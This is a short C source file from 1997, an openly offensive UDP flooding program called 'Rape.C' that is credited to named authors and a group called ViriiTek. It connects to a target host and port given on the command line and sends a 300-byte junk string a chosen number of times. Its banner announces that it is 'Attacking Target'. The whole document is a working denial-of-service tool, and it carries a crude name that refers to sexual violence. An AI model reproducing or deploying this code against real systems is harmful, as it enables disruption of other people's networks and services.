#define LAGG_STRING "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890^[];./"
#define LAGG_SIZE 300
#define REGISTERED "ViriiTek/bx user"
#define VERSION "1.2.1"
#define DATE "12.25.97"

#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <pwd.h>
#include <arpa/inet.h>
#include <signal.h>
#include <netdb.h>
#include <stdarg.h>

int echo_connect(char *server, short port) {
   struct sockaddr_in sin;
   struct hostent *hp;
   int thesock;
   printf("\nRape.C Version %s, By He||Angel and OseK\n", VERSION);
   printf("Date Released: %s\n", DATE);
   printf("Registered to: %s\n\n", REGISTERED);
   printf("Target: %s\nPort: %d\n", server, port);
   printf("Attacking Target... Press CTRL-C to exit.\n");
   hp = gethostbyname(server);
   if (hp == NULL) {
      printf("Unknown Target: %s\n",server);
      exit(0);
   }
   bzero((char*) &sin, sizeof(sin));
   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
   sin.sin_family = hp->h_addrtype;	
   sin.sin_port = htons(port);
   thesock = socket(AF_INET, SOCK_DGRAM, 0);
   connect(thesock,(struct sockaddr *) &sin, sizeof(sin));   
   return thesock;
}

main(int argc, char **argv) {
   int s, i;
   if (argc != 4) {
      printf("Usage: ./rape <target> <port> <times>\n");
      printf("Best used on any open port.\n");
      printf("Written by He||Angel and OseK\n");
      printf("Modified for use with viriitek by Cyranix0r\n");
      printf("Release Date: %s VERSION: %s\n", DATE, VERSION); 
      exit(0);
   }
   s = echo_connect(argv[1], atoi(argv[2]));
   for (i = 0; i < atoi(argv[3]); i++) {
      send(s, LAGG_STRING, LAGG_SIZE, 0); 
   }
}
